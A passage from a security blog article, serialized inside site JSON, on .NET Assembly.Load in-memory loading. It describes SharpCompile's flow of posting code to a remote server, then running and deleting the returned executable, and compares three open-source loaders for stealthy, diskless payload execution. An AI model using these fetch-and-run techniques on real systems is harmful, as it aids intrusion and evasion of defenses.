-v\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>This command reads the content from test.cs, sends it to the HTTP server (http:\u002F\u002F192.168.112.175), and saves the returned file as out.exe.\u003C\u002Fp>\u003Cp>Here, Wireshark is used to capture the communication data of the entire process, as shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018805411_5_bfaea87782-1.jpeg\">\u003C\u002Fp>\u003Ch4>(3) SharpCompile.cna Test\u003C\u002Fh4>\u003Cp>In my testing environment, the exec(@command); command in SharpCompile.cna could not be executed, so the functionality of SharpCompile.cna could not be reproduced.\u003C\u002Fp>\u003Ch3>2. Implementation Process\u003C\u002Fh3>\u003Cp>However, the code logic of SharpCompile.cna is relatively straightforward, and the implementation process is as follows:\u003C\u002Fp>\u003Col>\u003Cli>Use the curl command to send the code file via POST to the HTTP server, receive the content, and save it locally.\u003C\u002Fli>\u003Cli>Execute the file.\u003C\u002Fli>\u003Cli>Delete the file.\u003C\u002Fli>\u003C\u002Fol>\u003Cp>SharpCompile does not use Assembly.Load() to load .NET assemblies from memory; instead, it saves them to the hard drive, executes them, and then deletes them.\u003C\u002Fp>\u003Cp>This can be further modified to use Assembly.Load() to load .NET assemblies from memory.\u003C\u002Fp>\u003Ch2>0x06 Comparison and Exploitation Ideas of Three Open-Source Projects\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>SharpCradle requires pre-compiled binary files to be stored on a remote server, downloaded, and then loaded into memory using Assembly.Load().\u003C\u002Fp>\u003Cp>SharpShell.API.SharpShell sends code files to a remote server, where the server uses the Roslyn C# compiler to generate binary files, which are then downloaded and loaded into memory using Assembly.Load().\u003C\u002Fp>\u003Cp>SharpCompile sends code files to a remote server, where the server uses csc.exe to generate binary files, which are then downloaded and executed directly on the local machine.\u003C\u002Fp>\u003Cp>The most feature-complete among them is SharpShell.API.SharpShell, with the following advantages:\u003C\u002Fp>\u003Cul>\u003Cli>The entire process is executed in memory without writing to the file system\u003C\u002Fli>\u003Cli>Can generate binary files for specified .NET versions\u003C\u002Fli>\u003Cli>Only requires payload in C# format, though pre-compiled binary files (must be .NET assemblies) can also be used\u003C\u002Fli>\u003C\u002Ful>\u003Cp>In terms of exploitation approach, Assembly.Load is similar to execute-assembly, with the difference lying in the payload format\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the implementation method of Assembly.Load, analyzing details and summarizing exploitation ideas by combining three open-source projects: SharpCradle, SharpShell, and SharpCompile.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1347,"Onedaysec",7,"published","2026-02-02T08:04:56.384Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Exploit .NET Assembly.Load for Memory Loading Techniques",".NET Assembly.Load, memory loading, exploitation techniques, SharpCradle, SharpShell, SharpCompile, stealthy execution",null,false,[],{"docs":43,"hasNextPage":40},[44,4,45,46],358,356,355,{"title":39,"description":39,"image":39},"2026-07-24T15:37:13.960Z","2026-07-23T16:01:25.588Z","draft","2026-07-23T16:05:34.636Z","2026-07-23T16:05:34.635Z"]